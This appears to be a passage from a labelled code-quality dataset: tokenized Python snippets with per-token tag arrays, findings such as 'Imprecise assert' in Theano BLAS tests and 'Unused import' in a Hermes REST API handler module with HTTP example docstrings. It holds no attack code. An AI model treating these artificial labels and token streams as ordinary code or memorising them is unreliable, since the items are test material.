", "with", " ", "pattern", "2.6", " ", "on", " ", "Pyth", "on2", ",", " ", "provi", "ding", " ", "a", " ", "working", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "pattern", ".", "text", ".", "de", " ", "on", " ", "Pyth", "on", "3", " ", "(", "pattern", "2.6", " ", "doe", "s", " ", "not", " ", "ye", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "install", " ", "on", " ", "Pyth", "on", "3", ")", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "maintainer\\u\\u_", "=_", "\"", "Mark", "us", " ", "Kill", "er", " ", "<", "m", ".", "kille", "r", "@", "lang", "ui", ".", "ch", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "\"", "Tom", " ", "De", " ", "Sm", "edt", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "credits\\u\\u_", "=_", "\"", "Tom", " ", "De", " ", "Sm", "edt", ",", " ", "Wal", "ter", " ", "Da", "elem", "ans", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "\"", "2.6", " ", "for", " ", "textb", "lob", "-", "de", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "copyright\\u\\u_", "=_", "\"", "Copy", "right", " ", "(", "c", ")", " ", "2010", " ", "Univers", "it", "y", " ", "of", " ", "Ant", "wer", "p", " ", "(", "BE", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "license\\u\\u_", "=_", "\"", "BS", "D", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "\\u", "pattern_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u", "pattern_", "._", "text_", "import_", "de_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u", "pattern_", "._", "text_", "import_", "tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u", "pattern_", "._", "text_", "import_", "search_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Short", "cut", " ", "to", " ", "\\u", "pattern", ".", "de_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "inst", "ead", " ", "of", " ", "\\u", "pattern", ".", "text", ".", "de", ")_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "path\\u\\u_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\\u\\u", "path\\u\\u_", "[_", "0_", "]_", ",_", "\"", "text", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 0, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
rizar/attention-lvcsr/libs/Theano/theano/tensor/tests/test_blas_c.py
[ { "content": " def test_eq(self):\n self.assertTrue(CGer(True) == CGer(True))\n self.assertTrue(CGer(False) == CGer(False))\n self.assertTrue(CGer(False) != CGer(True))\n\n self.assertTrue(CGer(True) != ScipyGer(True))\n self.assertTrue(CGer(False) != ScipyGer(False))\n self.assertTrue(CGer(True) != Ger(True))\n self.assertTrue(CGer(False) != Ger(False))\n\n # assert that eq works for non-CGer instances\n self.assertTrue(CGer(False) is not None)\n self.assertTrue(CGer(True) is not None)", "metadata": "root.TestCGer.test_eq", "header": "['class', 'TestCGer', '(', 'TestCase', ',', 'TestOptimizationMixin', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_hash(self):\n self.assertTrue(hash(CGer(True)) == hash(CGer(True)))\n self.assertTrue(hash(CGer(False)) == hash(CGer(False)))\n self.assertTrue(hash(CGer(False)) != hash(CGer(True)))", "metadata": "root.TestCGer.test_hash", "header": "['class', 'TestCGer', '(', 'TestCase', ',', 'TestOptimizationMixin', ')', ':', '___EOS___']", "index": 71 } ]
[ { "span": "self.assertTrue(CGer(True) == CGer(True))", "start_line": 58, "start_column": 8, "end_line": 58, "end_column": 49 }, { "span": "self.assertTrue(CGer(False) == CGer(False))", "start_line": 59, "start_column": 8, "end_line": 59, "end_column": 51 }, { "span": "self.assertTrue(CGer(False) != CGer(True))", "start_line": 60, "start_column": 8, "end_line": 60, "end_column": 50 }, { "span": "self.assertTrue(CGer(True) != ScipyGer(True))", "start_line": 62, "start_column": 8, "end_line": 62, "end_column": 53 }, { "span": "self.assertTrue(CGer(False) != ScipyGer(False))", "start_line": 63, "start_column": 8, "end_line": 63, "end_column": 55 }, { "span": "self.assertTrue(CGer(True) != Ger(True))", "start_line": 64, "start_column": 8, "end_line": 64, "end_column": 48 }, { "span": "self.assertTrue(CGer(False) != Ger(False))", "start_line": 65, "start_column": 8, "end_line": 65, "end_column": 50 }, { "span": "self.assertTrue(CGer(False) is not None)", "start_line": 68, "start_column": 8, "end_line": 68, "end_column": 48 }, { "span": "self.assertTrue(CGer(True) is not None)", "start_line": 69, "start_column": 8, "end_line": 69, "end_column": 47 }, { "span": "self.assertTrue(hash(CGer(True)) == hash(CGer(True)))", "start_line": 72, "start_column": 8, "end_line": 72, "end_column": 61 }, { "span": "self.assertTrue(hash(CGer(False)) == hash(CGer(False)))", "start_line": 73, "start_column": 8, "end_line": 73, "end_column": 63 }, { "span": "self.assertTrue(hash(CGer(False)) != hash(CGer(True)))", "start_line": 74, "start_column": 8, "end_line": 74, "end_column": 62 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "CG", "er_", "(_", "Test", "Case_", ",_", "Test", "Optim", "izatio", "n", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eq_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "True_", ")_", "==_", "CG", "er_", "(_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "False_", ")_", "==_", "CG", "er_", "(_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "False_", ")_", "!=_", "CG", "er_", "(_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "True_", ")_", "!=_", "Sci", "py", "Ger", "_", "(_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "False_", ")_", "!=_", "Sci", "py", "Ger", "_", "(_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "True_", ")_", "!=_", "Ger", "_", "(_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "False_", ")_", "!=_", "Ger", "_", "(_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assert", " ", "tha", "t", " ", "eq", " ", "works", " ", "for", " ", "non", "-", "CG", "er", " ", "instances_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "False_", ")_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "CG", "er_", "(_", "True_", ")_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "CG", "er_", "(_", "Test", "Case_", ",_", "Test", "Optim", "izatio", "n", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hash_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "hash_", "(_", "CG", "er_", "(_", "True_", ")_", ")_", "==_", "hash_", "(_", "CG", "er_", "(_", "True_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hash_", "(_", "CG", "er_", "(_", "False_", ")_", ")_", "==_", "hash_", "(_", "CG", "er_", "(_", "False_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hash_", "(_", "CG", "er_", "(_", "False_", ")_", ")_", "!=_", "hash_", "(_", "CG", "er_", "(_", "True_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
dropbox/hermes/hermes/handlers/api.py
[ { "content": "from __future__ import division\n\n\nfrom datetime import datetime\nfrom dateutil import parser, tz\nimport json\nimport logging\nimport pytz\nimport random\nimport re\nimport sqlalchemy\nfrom sqlalchemy import desc, or_, and_\nfrom sqlalchemy.exc import IntegrityError\nimport string\nimport time\n\n\nfrom .util import ApiHandler\nfrom ..util import id_generator, PluginHelper, email_message\nfrom .. import exc\nfrom ..models import Host, EventType, Event, Labor, Fate, Quest\nfrom ..settings import settings\n\n\nlog = logging.getLogger(__name__)\n\nEMAIL_REGEX = re.compile(r\"[^@]+@[^@]+\\.[^@]+\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class HostsHandler(ApiHandler):\n\n", "metadata": "root.HostsHandler", "header": "['module', '___EOS___']", "index": 29 }, { "content": " def post(self):\n \"\"\"**Create a Host entry**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/hosts HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"hostname\": \"example\"\n }\n\n or:\n\n .. sourcecode:: http\n\n {\n \"hosts\": [\n {\n \"hostname\": \"server1\"\n },\n {\n \"hostname\": \"server2\"\n },\n ...\n ]\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/hosts/example\n\n {\n \"status\": \"created\",\n \"href\": \"/api/v1/hosts/example\",\n \"id\": 1,\n \"hostname\": \"example\"\n }\n\n or:\n\n .. sourcecode: http\n\n {\n \"status\": \"created\",\n \"hosts\":\n [\n {\n \"href\": \"/api/v1/hosts/testserver1\",\n \"hostname\": \"testserver1\",\n \"id\": 42\n },\n {\n \"href\": \"/api/v1/hosts/testserver2\",\n \"hostname\": \"testserver2\",\n \"id\": 43\n },\n {\n \"href\": \"/api/v1/hosts/testserver3\",\n \"hostname\": \"testserver3\",\n \"id\": 44\n }\n ],\n \"totalHosts\": 3\n }\n\n :reqjson string hostname: The hostname of the server\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :resheader Location: URL to the created resource.\n\n :statuscode 201: The Host was successfully created.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n try:\n if \"hosts\" in self.jbody:\n hostnames = self.jbody[\"hosts\"]\n else:\n hostnames = [{\"hostname\": self.jbody[\"hostname\"]}]\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n log.info(\"HOSTS: Create {}\".format(\", \".join(\n [\n host[\"hostname\"] for host in hostnames\n ]\n )))\n\n try:\n hosts = []\n for hostname in hostnames:\n host = Host.create(self.session, hostname[\"hostname\"])\n hosts.append(host.to_dict(self.href_prefix))\n except IntegrityError as err:\n raise exc.Conflict(err.orig.message)\n except exc.ValidationError as err:\n raise exc.BadRequest(err.message)\n\n self.session.commit()\n\n if len(hosts) == 1:\n json = hosts[0]\n self.created(\"/api/v1/hosts/{}\".format(hosts[0][\"hostname\"]), json)\n else:\n self.created(data={\"hosts\": hosts, \"totalHosts\": len(hosts)})\n\n log.info(\"HOST: Created {}\".format(\", \".join(\n [host[\"hostname\"] for host in hostnames]\n )))", "metadata": "root.HostsHandler.post", "header": "['class', 'HostsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 31 }, { "content": " def get(self):\n \"\"\"**Get all Hosts**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/hosts HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"hosts\": [\n {\n \"id\": 1,\n \"href\": \"/api/v1/hosts/server1\",\n \"hostname\": \"server1\",\n },\n ...\n ],\n \"limit\": 10,\n \"offset\": 0,\n \"totalHosts\": 1,\n }\n\n :query string hostname: (*optional*) Filter Hosts by hostname.\n :query string hostQuery: (*optional*) the query to send to the plugin to come up with the list of hostnames\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n hostname = self.get_argument(\"hostname\", None)\n host_query = self.get_argument(\"hostQuery\", None)\n\n hosts = self.session.query(Host)\n if hostname is not None:\n hosts = hosts.filter_by(hostname=hostname)\n\n hostnames = []\n if host_query:\n response = PluginHelper.request_get(params={\"query\": host_query})\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n for hostname in response.json()[\"results\"]:\n hostnames.append(hostname)\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(host_query))\n\n if hostnames:\n hosts = hosts.filter(Host.hostname.in_(hostnames))\n\n offset, limit, expand = self.get_pagination_values()\n hosts, total = self.paginate_query(hosts, offset, limit)\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalHosts\": total,\n \"hosts\": [\n host.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n ) for host in hosts.all()\n ],\n }\n\n self.success(json)", "metadata": "root.HostsHandler.get", "header": "['class', 'HostsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 155 }, { "content": "class HostHandler(ApiHandler):\n\n", "metadata": "root.HostHandler", "header": "['module', '___EOS___']", "index": 234 }, { "content": " def get(self, hostname):\n \"\"\"**Get a specific Host**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/hosts/example HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"hostname\": \"example\",\n \"labors\": [],\n \"quests\": [],\n \"events\": [],\n \"href\": \"/api/v1/hosts/example\",\n \"limit\": 10,\n \"offset\": 0,\n \"lastEvent\": \"2015-05-05 22:13:11\"\n }\n\n :param hostname: hostname of the Host to retrieve\n :type hostname: string\n\n :query string expand: (*optional*) supports labors, events, eventtypes, quests\n :query int limit: (*optional*) Limit result of child resources.\n :query int offset: (*optional*) Skip the first N child resources.\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The Host was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n host = self.session.query(Host).filter_by(hostname=hostname).scalar()\n if not host:\n raise exc.NotFound(\"No such Host {} found\".format(hostname))\n\n json = host.to_dict(self.href_prefix)\n json[\"limit\"] = limit\n json[\"offset\"] = offset\n\n # add the labors and quests\n labors = []\n quests = []\n\n # We will perform labor and quest expansion here b/c we want to apply\n # limits and offsets\n for labor in (\n host.get_labors().limit(limit).offset(offset)\n .from_self().order_by(Labor.creation_time).all()\n ):\n if \"labors\" in expand:\n labors.append(\n labor.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n )\n )\n else:\n labors.append({\n \"id\": labor.id, \"href\": labor.href(self.href_prefix)\n })\n\n if labor.quest and \"quests\" in expand:\n quests.append(\n labor.quest.to_dict(self.href_prefix, expand=set(expand))\n )\n elif labor.quest:\n quests.append(\n {\n \"id\": labor.quest.id,\n \"href\": labor.quest.href(self.href_prefix)\n }\n )\n json[\"labors\"] = labors\n json[\"quests\"] = quests\n\n # We will perform the events expansion here b/c we want to apply\n # limits and offsets\n events = []\n last_event = host.get_latest_events().first()\n for event in (\n host.get_latest_events().limit(limit).offset(offset)\n .from_self().order_by(Event.timestamp).all()\n ):\n if \"events\" in expand:\n events.append(\n event.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n )\n )\n else:\n events.append({\n \"id\": event.id, \"href\": event.href(self.href_prefix)\n })\n\n if last_event:\n json[\"lastEvent\"] = str(last_event.timestamp)\n else:\n json[\"lastEvent\"] = None\n json[\"events\"] = events\n\n self.success(json)", "metadata": "root.HostHandler.get", "header": "['class', 'HostHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 235 }, { "content": " def put(self, hostname):\n \"\"\"**Update a Host**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n PUT /api/v1/hosts/example HTTP/1.1\n Host: localhost\n Content-Type: application/json\n\n {\n \"hostname\": \"newname\",\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"href\": \"/api/v1/hosts/example\",\n \"hostname\": \"newname\",\n }\n\n :param hostname: hostname of the Host that should be updated.\n :type hostname: string\n\n :reqjson string hostname: The new hostname of the Host.\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 200: The request was successful.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The Host at hostname was not found.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n log.info(\"HOS: Update {}\".format(hostname))\n\n host = self.session.query(Host).filter_by(hostname=hostname).scalar()\n if not host:\n raise exc.NotFound(\"No such Host {} found\".format(hostname))\n\n try:\n new_hostname = self.jbody[\"hostname\"]\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n\n host = host.update_name(new_hostname);\n\n json = host.to_dict(self.href_prefix)\n\n self.success(json)\n\n log.info(\"HOST: Renamed {} to {}\".format(hostname, new_hostname))", "metadata": "root.HostHandler.put", "header": "['class', 'HostHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 347 }, { "content": " def delete(self, hostname):\n \"\"\"**Delete a Host**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.HostHandler.delete", "header": "['class', 'HostHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 412 }, { "content": "class EventTypesHandler(ApiHandler):\n\n", "metadata": "root.EventTypesHandler", "header": "['module', '___EOS___']", "index": 420 }, { "content": " def post(self):\n \"\"\"**Create a EventType entry**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/eventtypes HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"category\": \"system-reboot\",\n \"state\": \"required\",\n \"description\": \"System requires a reboot.\",\n }\n\n or:\n\n .. sourcecode:: http\n\n {\n \"eventTypes\": [\n {\n \"category\": \"foo\",\n \"state\": \"bar\",\n \"description\": \"Some description\"\n\n },\n {\n \"category\": \"foo\",\n \"state\": \"baz\",\n \"description\": \"Some description\",\n \"restricted\": true,\n },\n {\n \"category\": \"tango\",\n \"state\": \"foxtrot\",\n \"description\": \"Some description\"\n }\n ]\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/eventtypes/1\n\n {\n \"status\": \"created\",\n \"id\": 1,\n \"category\": \"system-reboot\",\n \"state\": \"required\",\n \"description\": \"System requires a reboot.\",\n \"restricted\": false,\n }\n\n or:\n\n .. sourcecode:: http\n\n {\n \"status\": \"created\",\n \"eventTypes\":\n [\n {\n \"category\": \"foo\",\n \"state\": \"bar\",\n \"href\": \"/api/v1/eventtypes/7\",\n \"id\": 7,\n \"description\": \"Some description\",\n \"restricted\": false,\n },\n {\n \"category\": \"foo\",\n \"state\": \"baz\",\n \"href\": \"/api/v1/eventtypes/8\",\n \"id\": 8,\n \"description\": \"Some description\",\n \"restricted\": true,\n },\n {\n \"category\": \"tango\",\n \"state\": \"foxtrot\",\n \"href\": \"/api/v1/eventtypes/9\",\n \"id\": 9,\n \"description\": \"Some description\",\n \"restricted\": false,\n }\n ],\n \"totalEventTypes\": 3\n }\n\n :reqjson string category: The category value of the EventType\n :regjson string state: The state value of the EventType\n :regjson string description: The human readable description of the EventType\n :regjson boolean restricted: (*optional*) If true, the EventType\n created will be restricted such that\n only direct API calls can throw events of\n that type (and the CLI/WebGUI would refuse)\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :resheader Location: URL to the created resource.\n\n :statuscode 201: The site was successfully created.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n try:\n if \"eventTypes\" in self.jbody:\n event_types = self.jbody[\"eventTypes\"]\n else:\n event_types = [\n {\n \"category\": self.jbody[\"category\"],\n \"state\": self.jbody[\"state\"],\n \"description\": self.jbody[\"description\"],\n \"restricted\": self.jbody.get(\"restricted\", False)\n }\n ]\n\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n log.info(\"EVENTTYPE: Creating {}\".format(\", \".join(\n [\n \"{} {}\".format(event_type['category'], event_type['state'])\n for event_type in event_types\n ]\n )))\n\n try:\n created_types = []\n for x in range(0, len(event_types)):\n created_type = EventType.create(\n self.session, event_types[x][\"category\"],\n event_types[x][\"state\"],\n description=event_types[x][\"description\"],\n restricted=event_types[x].get(\"restricted\", False)\n )\n created_types.append(created_type.to_dict(self.href_prefix))\n except IntegrityError as err:\n if \"Duplicate\" in err.message:\n raise exc.Conflict(\"Cannot create duplicate event type\")\n else:\n raise exc.Conflict(err.message)\n except exc.ValidationError as err:\n raise exc.BadRequest(err.message)\n\n self.session.commit()\n\n if len(created_types) == 1:\n json = created_types[0]\n self.created(\n \"/api/v1/eventtypes/{}\".format(created_types[0][\"id\"]), json\n )\n else:\n self.created(\n data={\n \"eventTypes\": created_types,\n \"totalEventTypes\": len(event_types)\n }\n )\n\n log.info(\"EVENTTYPE: Created {}\".format(\", \".join(\n [\n \"{} {}\".format(event_type['category'], event_type['state']) for event_type in event_types\n ]\n )))", "metadata": "root.EventTypesHandler.post", "header": "['class', 'EventTypesHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 422 }, { "content": " def get(self):\n \"\"\"**Get all EventTypes**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/eventtypes HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"limit\": 10,\n \"offset\": 0,\n \"totalEventTypes\": 3,\n \"eventTypes\": [\n {\n \"id\": 1,\n \"category\": \"foo\",\n \"state\": \"bar\",\n \"description\": \"Foo bar all the way\",\n \"href\": \"/api/v1/eventtypes/1\"\n },\n ...\n ],\n }\n\n :query string category: (*optional*) Filter EventTypes by category.\n :query string state: (*optional*) Filter EventTypes by state.\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n :query boolean startingTypes: (*optional*) Return the event types that can create non-intermediate Labors\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n category = self.get_argument(\"category\", None)\n state = self.get_argument(\"state\", None)\n starting_types = self.get_argument(\"startingTypes\", False);\n\n event_types = self.session.query(EventType)\n if category is not None:\n event_types = event_types.filter_by(category=category)\n\n if state is not None:\n event_types = event_types.filter_by(state=state)\n\n if starting_types:\n starting_event_types = (\n self.session.query(Fate)\n .filter(Fate.follows_id == None)\n .group_by(Fate.creation_type_id).all()\n )\n event_types = (\n event_types.filter(EventType.id.in_(\n e_type.creation_type_id for e_type in starting_event_types\n ))\n )\n\n offset, limit, expand = self.get_pagination_values()\n event_types, total = self.paginate_query(event_types, offset, limit)\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalEventTypes\": total,\n \"eventTypes\": (\n [\n event_type.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n )\n for event_type in event_types.all()\n ]\n ),\n }\n\n self.success(json)", "metadata": "root.EventTypesHandler.get", "header": "['class', 'EventTypesHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 601 }, { "content": "class EventTypeHandler(ApiHandler):\n\n", "metadata": "root.EventTypeHandler", "header": "['module', '___EOS___']", "index": 687 }, { "content": " def get(self, id):\n \"\"\"**Get a specific EventType**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/eventtypes/1/ HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": 